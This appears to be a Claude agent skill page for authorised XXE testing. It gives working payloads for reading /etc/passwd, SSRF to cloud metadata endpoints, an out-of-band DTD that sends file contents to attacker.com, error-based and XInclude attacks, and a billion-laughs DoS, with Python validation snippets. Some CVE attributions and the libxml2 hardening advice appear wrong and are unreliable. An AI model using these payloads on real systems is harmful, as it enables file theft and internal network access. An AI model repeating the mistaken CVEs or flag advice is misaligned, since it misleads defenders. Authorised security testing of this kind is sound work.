xxe-testing

针对 XML 解析器开展深度安全验证,覆盖文件读取、服务端请求伪造、拒绝服务、盲注外带通信等 XXE 攻击面,支持通过响应内容、错误信息或网络回调等多种方式确认漏洞存在,适用于 CWE-611 等典型 XML 安全缺陷的自动化检测与分类。

快捷安装

在终端运行此命令,即可一键安装该 Skill 到您的 Claude 中

npx skills add anshumanbh/securevibes --skill "xxe-testing"

XML External Entity (XXE) Injection Testing Skill

Purpose

Validate XXE vulnerabilities by injecting malicious XML documents containing external entity references and observing:

  • File disclosure via file:// protocol
  • Server-Side Request Forgery (SSRF) via http:// or other protocols
  • Denial of Service via entity expansion (billion laughs) or large file reads
  • Blind XXE via out-of-band DNS/HTTP callbacks
  • Error-based extraction via parser error messages containing file contents

Vulnerability Types Covered

1. Classic XXE / File Disclosure (CWE-611)

Read local files by defining external entities pointing to file:// URIs.

Detection Methods:

  • Inject <!ENTITY xxe SYSTEM "file:///etc/passwd"> and reference &xxe;
  • Look for file contents in response body or error messages

Example Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

2. SSRF via XXE (CWE-611, CWE-918)

Make server-side requests to internal/external resources.

Detection Methods:

  • Inject <!ENTITY xxe SYSTEM "http://internal-server:8080/">
  • Monitor for outbound requests to controlled domains
  • Access cloud metadata endpoints (http://169.254.169.254/)

Example Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>

3. Blind XXE / Out-of-Band (OOB) (CWE-611)

Exfiltrate data when response is not reflected, using external DTD + parameter entities.

Detection Methods:

  • Host external DTD on attacker-controlled server
  • Use parameter entities to encode file contents in HTTP/DNS requests
  • Monitor callback server for data exfiltration

Example Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>

evil.dtd (on attacker server):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

4. Error-Based XXE (CWE-611)

Extract file contents via parser error messages.

Detection Methods:

  • Trigger XML parsing errors that include file contents
  • Use non-existent file references that leak partial data

Example Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<foo>test</foo>

5. Denial of Service (DoS) via XXE (CWE-611, CWE-776)

Exhaust server resources via recursive entity expansion or large file reads.

Detection Methods:

  • “Billion Laughs” attack (exponential entity expansion)
  • Reference /dev/random or large files
  • Monitor for server slowdown or crash

Example Payload (Billion Laughs):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>

6. XInclude Attacks (CWE-611)

When DOCTYPE is blocked but XInclude processing is enabled.

Detection Methods:

  • Use <xi:include> instead of DOCTYPE entities
  • Works when application uses partial XML parsing

Example Payload:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

7. SVG/Office Document XXE (CWE-611)

XXE via file upload of SVG images or Office documents (DOCX, XLSX, PPTX).

Detection Methods:

  • Upload SVG with embedded XXE payload
  • Modify Office document XML parts (document.xml, [Content_Types].xml)

Example SVG Payload:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="20">&xxe;</text>
</svg>

Platform/Parser-Specific Notes

Platform/ParserDefault BehaviorNotes
Java (DOM/SAX)XXE enabled by defaultDisable via setFeature()
PHP (libxml)XXE enabled < PHP 8.0Use libxml_disable_entity_loader(true)
Python (lxml)XXE disabled by defaultEnable with resolve_entities=True
.NET (XmlDocument)XXE enabled by defaultSet XmlResolver = null
libxml2XXE enabled by defaultUse XML_PARSE_NOENT flag

Prerequisites

  • Target application that accepts/parses XML input
  • Identified XML injection points (API endpoints, file uploads, SOAP services)
  • For blind XXE: controlled callback server (collaborator domain)
  • VULNERABILITIES.json with suspected XXE findings if provided

Testing Methodology

Phase 1: Identify XML Parsing Points

  • SOAP/REST endpoints accepting XML bodies
  • File upload handlers (SVG, DOCX, XLSX, XML config files)
  • XML-RPC services
  • RSS/Atom feed parsers
  • SAML/OAuth endpoints processing XML assertions

Phase 2: Establish Baseline

  • Send well-formed XML without entities
  • Note response format, status, and timing
  • Check Content-Type handling (does server accept application/xml?)

Phase 3: Execute XXE Tests

Classic XXE (File Disclosure):

payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>'''

resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text or "/bin/bash" in resp.text:
    status = "VALIDATED"

SSRF via XXE:

payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal:8080/admin">
]>
<foo>&xxe;</foo>'''

resp = post("/api/parse", data=payload, content_type="application/xml")
if "admin" in resp.text or resp.status_code != 400:
    status = "VALIDATED"

Blind XXE (OOB):

payload = f'''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://{collaborator}/evil.dtd">
  %xxe;
]>
<foo>test</foo>'''

post("/api/parse", data=payload, content_type="application/xml")
if collaborator_received_request():
    status = "VALIDATED"

XInclude:

payload = '''<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>'''

resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text:
    status = "VALIDATED"

Phase 4: Classification Logic

StatusMeaning
VALIDATEDFile contents returned, SSRF confirmed, or OOB callback received
FALSE_POSITIVEDTD/entities disabled, no file disclosure or callbacks
PARTIALParser accepts DTD but entity expansion blocked
UNVALIDATEDBlocked by WAF, error, or insufficient evidence

Validation Criteria:

  • File contents (e.g., /etc/passwd, win.ini) appear in response
  • SSRF to controlled domain confirmed via callback
  • Blind XXE confirmed via DNS/HTTP interaction
  • Error messages contain file path or partial contents

Phase 5: Capture Evidence

Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):

  • status, injection_type, cwe
  • Request details (url, method, payload, content-type)
  • Response snippet showing file disclosure or SSRF result
  • Callback details for blind XXE (timestamp, source IP)

Phase 6: Safety Rules

  • Detection-only payloads; target benign files (/etc/passwd, win.ini, /etc/hostname)
  • NEVER target sensitive credentials (/etc/shadow, private keys, database configs)
  • Use minimal DoS payloads (low recursion depth) for testing; stop immediately if slowdown detected
  • Only use OOB callbacks to controlled domains you own
  • Clean up external DTD files after testing
  • Respect rate limits; avoid triggering security alerts

Output Guidelines

  • Keep responses concise (1-4 sentences)
  • Include endpoint, payload type, and impact

Validated examples:

XXE file disclosure on /api/xml - file:///etc/passwd content returned (CWE-611). Arbitrary file read possible.
Blind XXE on /upload - OOB callback received to collaborator (CWE-611). Data exfiltration risk confirmed.
SSRF via XXE on /soap - internal service response reflected (CWE-611, CWE-918). Internal network access.
XInclude XXE on /parse - file:///etc/hostname disclosed via xi:include (CWE-611). DOCTYPE blocked but XInclude enabled.

Unvalidated example:

XXE test incomplete on /api/data - DTD appears disabled (no entity expansion). Evidence: path/to/evidence.json

CWE Mapping

Primary CWE (DAST-testable):

  • CWE-611: Improper Restriction of XML External Entity Reference
    • This is THE designated CWE for XXE vulnerabilities
    • Alternate terms: XXE, XML eXternal Entity, XML Entity Injection
    • OWASP Top Ten 2017 A4, 2021 A05 (Security Misconfiguration)

Related CWEs (context):

  • CWE-827: Improper Control of Document Type Definition — related to DTD handling issues
  • CWE-776: Improper Restriction of Recursive Entity References in DTDs — “Billion Laughs” DoS
  • CWE-918: Server-Side Request Forgery (SSRF) — XXE can enable SSRF attacks
  • CWE-610: Externally Controlled Reference to a Resource in Another Sphere — parent class
  • CWE-20: Improper Input Validation — related root cause
  • CWE-200: Exposure of Sensitive Information — consequence of XXE

Related Attack Patterns:

  • CAPEC-221: Data Serialization External Entities Blowup
  • CAPEC-201: Serialized Data External Linking

OWASP Classification:

  • OWASP Top Ten 2017: A4 - XML External Entities (XXE)
  • OWASP Top Ten 2021: A05 - Security Misconfiguration

Notable CVEs (examples)

  • CVE-2025-66516 (Apache Tika): Critical XXE (CVSS 10.0) via XFA forms in PDFs; affects tika-core 1.13-3.2.1.
  • CVE-2025-54988 (Apache Tika): XXE in PDF parser module leading to file disclosure and SSRF.
  • CVE-2021-21234 (Spring Boot): XXE in log4j configuration parsing (log4j pre-2.16).
  • CVE-2020-5245 (Dropwizard): XXE via YAML parsing with SnakeYAML.
  • CVE-2019-0227 (Apache Axis): SSRF via XXE in SOAP messages.
  • CVE-2018-1000001 (Libreoffice): XXE via malicious ODT document.
  • CVE-2017-9506 (Jira): Blind XXE allowing internal network scanning.
  • CVE-2014-3529 (Apache POI): XXE in Office document parsing.

Safety Reminders

  • ONLY test against user-approved targets; stop if production protections trigger
  • Use benign file paths for disclosure testing (e.g., /etc/passwd, not /etc/shadow)
  • Minimal DoS payloads only; immediately abort if server impact detected
  • OOB callbacks only to domains you control
  • Disable external entity processing in production via parser configuration
  • Prefer JSON over XML where possible to eliminate XXE attack surface

Reference Implementations

  • See reference/xxe_payloads.py for XXE payloads by attack type
  • See reference/validate_xxe.py for XXE-focused validation flow
  • See examples.md for concrete XXE scenarios and evidence formats

Additional Resources